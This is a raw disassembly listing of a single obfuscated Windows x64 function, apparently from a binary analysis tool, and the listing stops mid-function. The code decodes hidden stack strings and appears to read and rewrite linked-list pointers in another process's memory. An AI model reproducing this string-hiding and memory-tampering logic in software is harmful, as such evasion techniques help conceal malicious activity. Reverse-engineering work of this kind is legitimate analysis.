Function at 0x140003560
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xe0
mov rax, qword [0x14012b240]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rsi, rcx
xor r11d, r11d
mov dword [rbp - 0x41], 0xf4ae899f
mov dword [rbp - 0x3d], 0xf18bfdf6
mov dword [rbp - 0x39], 0xf6ebf0bc
mov byte [rbp - 0x35], 0x6a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x34], xmm0
mov word [rbp - 0x24], ax
mov r9d, r11d
movabs rbx, 0xccf6d73b10ec9a31
mov r10, rbx
lea rax, [rbp - 0x41]
sub r10, rax
nop word [rax + rax]
lea r8, [rbp - 0x41]
add r8, r9
movzx edx, byte [r8]
lea rax, [r8 + r10]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, rbx
add rcx, r9
sub cl, 0x57
mov byte [r8], cl
inc r9
cmp r9, 0x1f
jb 0x1400035e0
xorps xmm0, xmm0
movups xmmword [rbp - 1], xmm0
mov qword [rbp + 0xf], r11
mov qword [rbp + 0x17], r11
lea rax, [rbp - 0x41]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r11b
jne 0x140003630
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 1]
call fcn.14000dc50
nop
lea rcx, [rbp - 1]
call fcn.14000fb70
mov rbx, rax
lea rcx, [rbp - 1]
call fcn.14000b050
test rbx, rbx
jne 0x140003668
mov al, 1
jmp 0x1400042eb
mov al, 0x38
mov r8b, 0x39
mov r9b, 0x3a
mov r10b, 0x7c
mov r11b, 0x7b
mov dil, 0x7a
mov r14b, 0x79
mov r15b, 0x3f
mov r12b, 0x20
mov r13b, 0xa9
xor ecx, ecx
mov qword [rbp - 0x79], rcx
mov qword [rbp - 0x37], rcx
mov dword [rbp - 0x2f], ecx
movzx edx, al
movzx eax, dl
and al, 0x48
mov ecx, 0x28
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x41], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x49
add al, al
sub cl, al
add cl, 0x51
mov byte [rbp - 0x40], cl
movzx edx, r9b
movzx eax, dl
and al, 0x4a
mov ecx, 0x29
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x3f], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
add cl, 0x53
mov byte [rbp - 0x3e], cl
movzx edx, r11b
movzx eax, dl
and al, 0x4c
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x3d], cl
movzx ecx, dil
movzx eax, cl
and al, 0x4d
add al, al
sub cl, al
add cl, 0x55
mov byte [rbp - 0x3c], cl
movzx edx, r14b
movzx eax, dl
and al, 0x4e
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x3b], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x4f
add al, al
sub cl, al
add cl, 0x57
mov byte [rbp - 0x3a], cl
movzx edx, r12b
movzx eax, dl
and al, 0x50
mov ecx, 0x2c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x39], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x51
add al, al
sub cl, al
add cl, 0x59
mov byte [rbp - 0x38], cl
mov r8, qword [rbp - 0x79]
movzx edx, r8b
movzx eax, dl
and al, 0x52
mov ecx, 0x2d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x37], cl
movzx ecx, byte [rbp - 0x36]
movzx eax, cl
and al, 0x53
add al, al
sub cl, al
add cl, 0x5b
mov byte [rbp - 0x36], cl
movzx edx, byte [rbp - 0x35]
movzx eax, dl
and al, 0x54
mov ecx, 0x2e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x35], cl
movzx ecx, byte [rbp - 0x34]
movzx eax, cl
and al, 0x55
add al, al
sub cl, al
add cl, 0x5d
mov byte [rbp - 0x34], cl
movzx edx, byte [rbp - 0x33]
movzx eax, dl
and al, 0x56
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x33], cl
movzx ecx, byte [rbp - 0x32]
movzx eax, cl
and al, 0x57
add al, al
sub cl, al
add cl, 0x5f
mov byte [rbp - 0x32], cl
movzx edx, byte [rbp - 0x31]
movzx eax, dl
and al, 0x58
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x31], cl
movzx ecx, byte [rbp - 0x30]
movzx eax, cl
and al, 0x59
add al, al
sub cl, al
add cl, 0x61
mov byte [rbp - 0x30], cl
movzx edx, r8b
movzx eax, dl
and al, 0x5a
mov ecx, 0x31
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2f], cl
movzx ecx, byte [rbp - 0x2e]
movzx eax, cl
and al, 0x5b
add al, al
sub cl, al
add cl, 0x63
mov byte [rbp - 0x2e], cl
movzx edx, byte [rbp - 0x2d]
movzx eax, dl
and al, 0x5c
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2d], cl
movzx ecx, byte [rbp - 0x2c]
movzx eax, cl
and al, 0x5d
add al, al
sub cl, al
add cl, 0x65
mov byte [rbp - 0x2c], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0x4096cfe47525fb5e
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 8
mov byte [rbp - 0x2b], cl
mov al, 0x28
mov r8b, 0x58
mov r9b, 0x55
mov r10b, 0x56
mov r11b, 0x84
xor edi, edi
mov qword [rbp + 4], rdi
mov word [rbp + 0xc], di
movzx edx, al
movzx eax, dl
and al, 0xec
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 1], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
add cl, r14b
mov byte [rbp], cl
movzx edx, r9b
movzx eax, dl
and al, 0xee
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 1], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xef
add al, al
sub cl, al
add cl, 0x7b
mov byte [rbp + 2], cl
movzx edx, r11b
movzx eax, dl
and al, 0xf0
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 3], cl
movzx ecx, dil
movzx eax, cl
and al, 0xf1
add al, al
sub cl, al
add cl, 0x7d
mov byte [rbp + 4], cl
movzx edx, byte [rbp + 5]
movzx eax, dl
and al, 0xf2
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp + 5], cl
movzx ecx, byte [rbp + 6]
movzx eax, cl
and al, 0xf3
add al, al
sub cl, al
add cl, 0x7f
mov byte [rbp + 6], cl
movzx ecx, byte [rbp + 7]
movzx eax, cl
and al, 0xf4
add al, al
sub cl, al
add cl, 0x80
mov byte [rbp + 7], cl
movzx ecx, byte [rbp + 8]
movzx eax, cl
and al, 0xf5
add al, al
sub cl, al
sub cl, 0x7f
mov byte [rbp + 8], cl
movzx ecx, byte [rbp + 9]
movzx eax, cl
and al, 0xf6
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rbp + 9], cl
movzx ecx, byte [rbp + 0xa]
movzx eax, cl
and al, 0xf7
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rbp + 0xa], cl
movzx ecx, byte [rbp + 0xb]
movzx eax, cl
and al, 0xf8
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp + 0xb], cl
movzx ecx, dil
movzx eax, cl
and al, 0xf9
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp + 0xc], cl
movzx ecx, byte [rbp + 0xd]
movzx eax, cl
and al, 0xfa
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rbp + 0xd], cl
movzx ecx, dil
mov eax, ecx
movabs rdx, 0x18e04874de8d79fb
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x74
mov byte [rbp + 0xe], cl
xor r15d, r15d
mov dword [rbp - 0x49], r15d
lea r9, [rbp - 0x49]
mov r8, rbx
lea rdx, [rbp - 1]
mov rcx, rsi
call fcn.140008380
mov r8d, dword [rbp - 0x49]
lea rcx, [rbp - 0x41]
mov qword [rsp + 0x20], rcx
lea r9, [0x140109ca0]
mov rdx, rax
mov rcx, rsi
call fcn.140008260
mov r14, rax
test rax, rax
je 0x1400042e9
mov al, 0x1e
mov dl, 0x1d
mov r8b, 0xc5
mov r9b, 0xca
mov r10b, 0xcb
mov r11b, 0xc8
mov dil, reloc.WS2_32.dll_recv
mov r15b, 0x17
mov r12b, 0x16
mov r13b, 0x8d
xor ecx, ecx
mov qword [rbp - 0x79], rcx
mov qword [rbp + 9], rcx
movzx ecx, al
movzx eax, cl
and al, 0x15
add al, al
sub cl, al
sub cl, 0x7e
mov byte [rbp - 1], cl
movzx ecx, dl
movzx eax, cl
and al, r12b
add al, al
sub cl, al
sub cl, 0x7d
mov byte [rbp], cl
movzx ecx, r8b
movzx eax, cl
and al, r15b
add al, al
sub cl, al
sub cl, 0x7c
mov byte [rbp + 1], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x18
add al, al
sub cl, al
sub cl, 0x7b
mov byte [rbp + 2], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x19
add al, al
sub cl, al
sub cl, 0x7a
mov byte [rbp + 3], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x1a
add al, al
sub cl, al
sub cl, 0x79
mov byte [rbp + 4], cl
movzx ecx, dil
movzx eax, cl
and al, 0x1b
add al, al
sub cl, al
sub cl, 0x78
mov byte [rbp + 5], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x1c
add al, al
sub cl, al
sub cl, 0x77
mov byte [rbp + 6], cl
movzx ecx, r12b
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x76
mov byte [rbp + 7], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x1e
add al, al
sub cl, al
sub cl, 0x75
mov byte [rbp + 8], cl
mov rdx, qword [rbp - 0x79]
movzx ecx, dl
movzx eax, cl
and al, 0x1f
add al, al
sub cl, al
sub cl, 0x74
mov byte [rbp + 9], cl
movzx ecx, byte [rbp + 0xa]
movzx eax, cl
and al, 0x20
add al, al
sub cl, al
sub cl, 0x73
mov byte [rbp + 0xa], cl
movzx ecx, byte [rbp + 0xb]
movzx eax, cl
and al, 0x21
add al, al
sub cl, al
sub cl, 0x72
mov byte [rbp + 0xb], cl
movzx ecx, byte [rbp + 0xc]
movzx eax, cl
and al, 0x22
add al, al
sub cl, al
sub cl, 0x71
mov byte [rbp + 0xc], cl
movzx ecx, byte [rbp + 0xd]
movzx eax, cl
and al, 0x23
add al, al
sub cl, al
sub cl, 0x70
mov byte [rbp + 0xd], cl
movzx ecx, byte [rbp + 0xe]
movzx eax, cl
and al, 0x24
add al, al
sub cl, al
sub cl, 0x6f
mov byte [rbp + 0xe], cl
movzx ecx, byte [rbp + 0xf]
movzx eax, cl
and al, 0x25
add al, al
sub cl, al
sub cl, 0x6e
mov byte [rbp + 0xf], cl
movzx ecx, byte [rbp + 0x10]
movzx eax, cl
and al, 0x26
add al, al
sub cl, al
sub cl, 0x6d
mov byte [rbp + 0x10], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x81399e119a895e27
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x6d
mov byte [rbp + 0x11], cl
mov al, 0x3c
mov r8b, 0x2c
mov r9b, 0x39
mov r10b, 0x36
mov r11b, 0x70
xor edi, edi
mov qword [rbp - 0x3c], rdi
mov dword [rbp - 0x34], edi
movzx edx, al
movzx eax, dl
and al, 0xce
mov ecx, 0x16
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x41], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xcf
add al, al
sub cl, al
add cl, 0x2d
mov byte [rbp - 0x40], cl
movzx edx, r9b
movzx eax, dl
and al, 0xd0
mov ecx, 0x17
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x3f], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xd1
add al, al
sub cl, al
add cl, 0x2f
mov byte [rbp - 0x3e], cl
movzx edx, r11b
movzx eax, dl
and al, 0xd2
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x3d], cl
movzx ecx, dil
movzx eax, cl
and al, 0xd3
add al, al
sub cl, al
add cl, 0x31
mov byte [rbp - 0x3c], cl
movzx edx, byte [rbp - 0x3b]
movzx eax, dl
and al, 0xd4
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x3b], cl
movzx ecx, byte [rbp - 0x3a]
movzx eax, cl
and al, 0xd5
add al, al
sub cl, al
add cl, 0x33
mov byte [rbp - 0x3a], cl
movzx edx, byte [rbp - 0x39]
movzx eax, dl
and al, 0xd6
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x39], cl
movzx ecx, byte [rbp - 0x38]
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
add cl, 0x35
mov byte [rbp - 0x38], cl
movzx edx, byte [rbp - 0x37]
movzx eax, dl
and al, 0xd8
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x37], cl
movzx ecx, byte [rbp - 0x36]
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
add cl, 0x37
mov byte [rbp - 0x36], cl
movzx edx, byte [rbp - 0x35]
movzx eax, dl
and al, 0xda
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x35], cl
movzx ecx, dil
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
add cl, r9b
mov byte [rbp - 0x34], cl
movzx edx, byte [rbp - 0x33]
movzx eax, dl
and al, 0xdc
mov ecx, 0x1d
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x33], cl
movzx ecx, byte [rbp - 0x32]
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
add cl, 0x3b
mov byte [rbp - 0x32], cl
movzx ecx, byte [rbp - 0x31]
mov eax, ecx
movabs rdx, 0xaf0896320fd901de
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x5e
mov byte [rbp - 0x31], cl
xor r12d, r12d
mov dword [rbp - 0x49], r12d
lea r9, [rbp - 0x49]
mov r8, rbx
lea rdx, [rbp - 0x41]
mov rcx, rsi
call fcn.140008380
mov r8d, dword [rbp - 0x49]
lea rcx, [rbp - 1]
mov qword [rsp + 0x20], rcx
lea r9, [0x140109cb0]
mov rdx, rax
mov rcx, rsi
call fcn.140008260
mov rdi, rax
test rax, rax
je 0x1400042e9
mov dword [rbp - 0x71], 0x2a5c5d5e
mov dword [rbp - 0x6d], 0x67602862
mov dword [rbp - 0x69], 0x222d2c2f
mov dword [rbp - 0x65], 0x26212023
mov dword [rbp - 0x61], 0x73252427
mov byte [rbp - 0x5d], 0xfa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x5c], xmm0
mov word [rbp - 0x4c], ax
mov byte [rbp - 0x4a], al
movabs r11, 0x1fed08022fe8c1b0
mov r10, r11
lea rcx, [rbp - 0x70]
sub r10, rcx
nop dword [rax]
lea r9, [rbp - 0x70]
add r9, rax
lea ecx, [rax - 0x63]
and cl, byte [r9 - 1]
mov edx, 0x29
sub dl, cl
add dl, dl
add dl, byte [r9 - 1]
add dl, al
mov byte [r9 - 1], dl
movzx r8d, byte [r9]
lea edx, [rax - 0x62]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x53
add cl, r8b
mov byte [r9], cl
lea ecx, [rax - 0x61]
and cl, byte [r9 + 1]
mov edx, 0x2a
sub dl, cl
add dl, dl
add dl, byte [r9 + 1]
add dl, al
mov byte [r9 + 1], dl
movzx r8d, byte [r9 + 2]
lea edx, [rax - 0x60]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x55
add cl, r8b
mov byte [r9 + 2], cl
lea ecx, [rax - 0x5f]
and cl, byte [r9 + 3]
mov edx, 0x2b
sub dl, cl
add dl, dl
add dl, byte [r9 + 3]
add dl, al
mov byte [r9 + 3], dl
movzx r8d, byte [r9 + 4]
lea edx, [rax - 0x5e]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x57
add cl, r8b
mov byte [r9 + 4], cl
lea ecx, [rax - 0x5d]
and cl, byte [r9 + 5]
mov edx, 0x2c
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 5], dl
movzx r8d, byte [r9 + 6]
lea edx, [rax - 0x5c]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x59
add cl, r8b
mov byte [r9 + 6], cl
lea ecx, [rax - 0x5b]
and cl, byte [r9 + 7]
mov edx, 0x2d
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 7], dl
movzx r8d, byte [r9 + 8]
lea edx, [rax - 0x5a]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x5b
add cl, r8b
mov byte [r9 + 8], cl
lea ecx, [rax - 0x59]
and cl, byte [r9 + 9]
mov edx, 0x2e
sub dl, cl
add dl, dl
add dl, al
add byte [r9 + 9], dl
movzx r8d, byte [r9 + 0xa]
lea edx, [rax - 0x58]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x5d
add cl, r8b
mov byte [r9 + 0xa], cl
lea ecx, [rax - 0x57]
and cl, byte [r9 + 0xb]
mov edx, 0x2f
sub dl, cl
add dl, dl
add dl, byte [r9 + 0xb]
add dl, al
mov byte [r9 + 0xb], dl
movzx edx, byte [r9 + 0xc]
lea ecx, [rax - 0x56]
and cl, dl
add cl, cl
sub dl, cl
add dl, 0x5f
add dl, al
mov byte [r9 + 0xc], dl
lea ecx, [rax - 0x55]
and cl, byte [r9 + 0xd]
mov edx, 0x30
sub dl, cl
add dl, dl
add dl, byte [r9 + 0xd]
add dl, al
mov byte [r9 + 0xd], dl
movzx r8d, byte [r9 + 0xe]
lea edx, [rax - 0x54]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x61
add cl, r8b
mov byte [r9 + 0xe], cl
lea ecx, [rax - 0x53]
and cl, byte [r9 + 0xf]
mov edx, 0x31
sub dl, cl
add dl, dl
add dl, byte [r9 + 0xf]
add dl, al
mov byte [r9 + 0xf], dl
movzx r8d, byte [r9 + 0x10]
lea edx, [rax - 0x52]
and dl, r8b
add dl, dl
movzx ecx, al
sub cl, dl
add r8b, 0x63
add cl, r8b
mov byte [r9 + 0x10], cl
lea ecx, [rax - 0x51]
and cl, byte [r9 + 0x11]
mov edx, 0x32
sub dl, cl
add dl, dl
add dl, byte [r9 + 0x11]
add dl, al
mov byte [r9 + 0x11], dl
movzx r8d, byte [r9 + 0x12]
lea rcx, [r9 + r10]
and rcx, r8
imul rdx, rcx, 0xfffffffffffffffe
add rdx, r8
add rdx, r11
add rdx, rax
sub dl, 0x4b
mov byte [r9 + 0x12], dl
add rax, 0x14
cmp rax, 0x28
jb 0x140003df0
mov al, 0xe6
mov dl, 0xfa
mov r8b, 0xf1
mov r9b, 0xfc
mov r10b, 0x3a
xorps xmm0, xmm0
xor r11d, r11d
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x2c], r11
movzx ecx, al
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
sub cl, 0xa
mov byte [rbp - 0x41], cl
movzx ecx, dl
movzx eax, cl
and al, 0xd8
add al, al
sub cl, al
sub cl, 9
mov byte [rbp - 0x40], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xd9
add al, al
sub cl, al
sub cl, 8
mov byte [rbp - 0x3f], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
sub cl, 7
mov byte [rbp - 0x3e], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
sub cl, 6
mov byte [rbp - 0x3d], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0xdc
add al, al
sub cl, al
sub cl, 5
mov byte [rbp - 0x3c], cl
movzx ecx, byte [rbp - 0x3b]
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
sub cl, 4
mov byte [rbp - 0x3b], cl
movzx ecx, byte [rbp - 0x3a]
movzx eax, cl
and al, 0xde
add al, al
sub cl, al
sub cl, 3
mov byte [rbp - 0x3a], cl
movzx ecx, byte [rbp - 0x39]
movzx eax, cl
and al, 0xdf
add al, al
sub cl, al
sub cl, 2
mov byte [rbp - 0x39], cl
movzx ecx, byte [rbp - 0x38]
movzx eax, cl
and al, 0xe0
add al, al
sub cl, al
dec cl
mov byte [rbp - 0x38], cl
movzx ecx, byte [rbp - 0x37]
movzx eax, cl
and al, 0xe1
add al, al
sub cl, al
mov byte [rbp - 0x37], cl
movzx ecx, byte [rbp - 0x36]
movzx eax, cl
and al, 0xe2
add al, al
sub cl, al
inc cl
mov byte [rbp - 0x36], cl
movzx edx, byte [rbp - 0x35]
movzx eax, dl
and al, 0xe3
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x35], cl
movzx ecx, byte [rbp - 0x34]
movzx eax, cl
and al, 0xe4
add al, al
sub cl, al
add cl, 3
mov byte [rbp - 0x34], cl
movzx edx, byte [rbp - 0x33]
movzx eax, dl
and al, 0xe5
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x33], cl
movzx ecx, byte [rbp - 0x32]
movzx eax, cl
and al, 0xe6
add al, al
sub cl, al
add cl, 5
mov byte [rbp - 0x32], cl
movzx edx, byte [rbp - 0x31]
movzx eax, dl
and al, 0xe7
mov ecx, 3
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x31], cl
movzx ecx, byte [rbp - 0x30]
movzx eax, cl
and al, 0xe8
add al, al
sub cl, al
add cl, 7
mov byte [rbp - 0x30], cl
movzx edx, byte [rbp - 0x2f]
movzx eax, dl
and al, 0xe9
mov ecx, 4
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2f], cl
movzx ecx, byte [rbp - 0x2e]
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
add cl, 9
mov byte [rbp - 0x2e], cl
movzx edx, byte [rbp - 0x2d]
movzx eax, dl
and al, 0xeb
mov ecx, 5
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2d], cl
movzx ecx, r11b
movzx eax, cl
and al, 0xec
add al, al
sub cl, al
add cl, 0xb
mov byte [rbp - 0x2c], cl
movzx edx, byte [rbp - 0x2b]
movzx eax, dl
and al, 0xed
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x2b], cl
movzx ecx, byte [rbp - 0x2a]
movzx eax, cl
and al, 0xee
add al, al
sub cl, al
add cl, 0xd
mov byte [rbp - 0x2a], cl
movzx edx, byte [rbp - 0x29]
movzx eax, dl
and al, 0xef
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x29], cl
movzx ecx, byte [rbp - 0x28]
movzx eax, cl
and al, 0xf0
add al, al
sub cl, al
add cl, 0xf
mov byte [rbp - 0x28], cl
movzx edx, byte [rbp - 0x27]
movzx eax, dl
and al, r8b
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x27], cl
movzx ecx, byte [rbp - 0x26]
movzx eax, cl
and al, 0xf2
add al, al
sub cl, al
add cl, 0x11
mov byte [rbp - 0x26], cl
movzx edx, byte [rbp - 0x25]
movzx eax, dl
and al, 0xf3
mov ecx, 9
sub cl, al
add cl, cl
add cl, dl
mov byte [rbp - 0x25], cl
movzx ecx, r11b
mov eax, ecx
movabs rdx, 0x499a084711f4aef4
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x1f
mov byte [rbp - 0x24], cl
mov dword [rbp - 0x49], r12d
lea r9, [rbp - 0x49]
mov r8, rbx
lea rdx, [rbp - 0x41]
mov rcx, rsi
call fcn.140008380
mov r8d, dword [rbp - 0x49]
lea rcx, [rbp - 0x71]
mov qword [rsp + 0x20], rcx
lea r9, [0x140109cc0]
mov rdx, rax
mov rcx, rsi
call fcn.140008260
mov rbx, rax
test rax, rax
jne 0x140004318
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400cf720
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
add rbx, 7
mov dword [rbp - 0x49], r12d
lea r8, [r14 + 3]
mov r9d, 4
lea rdx, [rbp - 0x49]
mov rcx, rsi
call fcn.140004970
test al, al
jne 0x140004343
mov r15, 0xfffffffffffffff8
jmp 0x14000434d
movsxd r15, dword [rbp - 0x49]
dec r15
add r15, r14
mov dword [rbp - 0x49], r12d
lea r8, [rdi + 2]
mov r9d, 4
lea rdx, [rbp - 0x49]
mov rcx, rsi
call fcn.140004970
test al, al
jne 0x140004370
mov r13, r12
jmp 0x14000437b
movsxd r13, dword [rbp - 0x49]
add r13, 6
add r13, rdi
lea r8, [r13 + 8]
mov qword [rbp + 0x27], r8
mov r9d, 8
lea rdx, [rbp + 0x27]
mov rcx, rsi
call fcn.140004970
mov dword [rbp - 0x49], r12d
lea r8, [rbx + 1]
mov r9d, 4
lea rdx, [rbp - 0x49]
mov rcx, rsi
call fcn.140004970
test al, al
jne 0x1400043b9
mov qword [rbp - 0x79], r12
jmp 0x1400043c8
movsxd rax, dword [rbp - 0x49]
add rax, 5
add rax, rbx
mov qword [rbp - 0x79], rax
mov r9d, 8
mov r8, r15
lea rdx, [rbp - 0x21]
mov rcx, rsi
call fcn.140004970
mov rdi, qword [rbp - 0x21]
test al, al
cmove rdi, r12
cmp rdi, r15
je 0x1400042e9
lea r8, [rdi + 0x10]
mov r9d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x41]
mov rcx, rsi
call fcn.140004970
test al, al
je 0x140004499
movzx ecx, word [rbp - 0x41]
shr rcx, 1
inc rcx
mov eax, 2
mul rcx
mov rbx, rax
mov rax, 0xffffffffffffffff
cmovo rbx, rax
mov rcx, rbx
call fcn.1400cf8a4
mov r14, rax
mov r8, rbx
xor edx, edx
mov rcx, rax
call fcn.1400fb5a0
mov qword [rbp - 1], r14
movzx r9d, word [rbp - 0x41]
mov r8, qword [rbp - 0x39]
mov rdx, r14
mov rcx, rsi
call fcn.140004970
test al, al
je 0x140004491
lea rcx, [rbp - 0x71]
call fcn.1400022d0
cmp qword [rax + 0x18], 7
jbe 0x140004475
mov rax, qword [rax]
mov rdx, rax
mov rcx, r14
call fcn.1400d15e8
mov rbx, rax
lea rcx, [rbp - 0x71]
call fcn.14000a5a0
test rbx, rbx
jne 0x1400044c6
mov rcx, r14
call fcn.1400cf740
mov r9d, 8
mov r8, rdi
lea rdx, [rbp - 0x21]
mov rcx, rsi
call fcn.140004970
mov rdi, qword [rbp - 0x21]
test al, al
cmove rdi, r12
cmp rdi, r15
jne 0x1400043f0
jmp 0x1400042e9
lea r12, [rdi - 0x10]
xor eax, eax
mov r15d, eax
mov ebx, eax
mov qword [rbp - 0x11], rax
movsxd r8, ebx
add r8, qword [rbp + 0x27]
mov r9d, 8
lea rdx, [rbp - 0x11]
mov rcx, rsi
call fcn.140004970
cmp qword [rbp - 0x11], r12
je 0x14000450e
inc r15d
add ebx, 8
cmp ebx, 0x800
mov eax, 0
jl 0x1400044d1
xor bl, bl
jmp 0x140004611
lea rax, [r13 + 1]
mov qword [rbp - 0x19], rax
lea eax, [r15*8]
movsxd rdx, eax
add rdx, qword [rbp + 0x27]
mov r9d, 8
lea r8, [rbp - 0x19]
mov rcx, rsi
call fcn.140004970
mov r9d, 8
mov r8, rdi
lea rdx, [rbp - 0x19]
mov rcx, rsi
call fcn.140004970
mov rcx, qword [rbp - 0x19]
test al, al
mov r15d, 0
cmove rcx, r15
mov qword [rbp - 9], rcx
lea r8, [rdi + 8]
lea r9d, [r15 + 8]
lea rdx, [rbp - 0x19]
mov rcx, rsi
call fcn.140004970
mov rcx, qword [rbp - 0x19]
test al, al
cmove rcx, r15
mov qword [rbp - 0x21], rcx
mov rdx, qword [rbp - 9]
add rdx, 8
lea r9d, [r15 + 8]
lea r8, [rbp - 0x21]
mov rcx, rsi
call fcn.140004970
lea r9d, [r15 + 8]
lea r8, [rbp - 9]
mov rdx, qword [rbp - 0x21]
mov rcx, rsi
call fcn.140004970
mov dword [rbp - 0x49], r15d
lea r9d, [r15 + 4]
mov r8, r13
lea rdx, [rbp - 0x49]
mov rcx, rsi
call fcn.140004970
dec dword [rbp - 0x49]
lea r9d, [r15 + 4]
lea r8, [rbp - 0x49]
mov rdx, r13
mov rcx, rsi
call fcn.140004970
mov word [rbp + 0x1f], r15w
lea r9d, [r15 + 2]
lea r8, [rdi - 0x20]
lea rdx, [rbp + 0x1f]
mov rcx, rsi
call fcn.140004970
mov eax, 0xda18
cmp word [rbp + 0x1f], ax
jne 0x14000460f
lea r9, [rdi - 0x20]
mov r8, qword [rbp - 0x79]
mov rcx, rsi
call fcn.14000bac0
mov bl, 1
mov rcx, r14
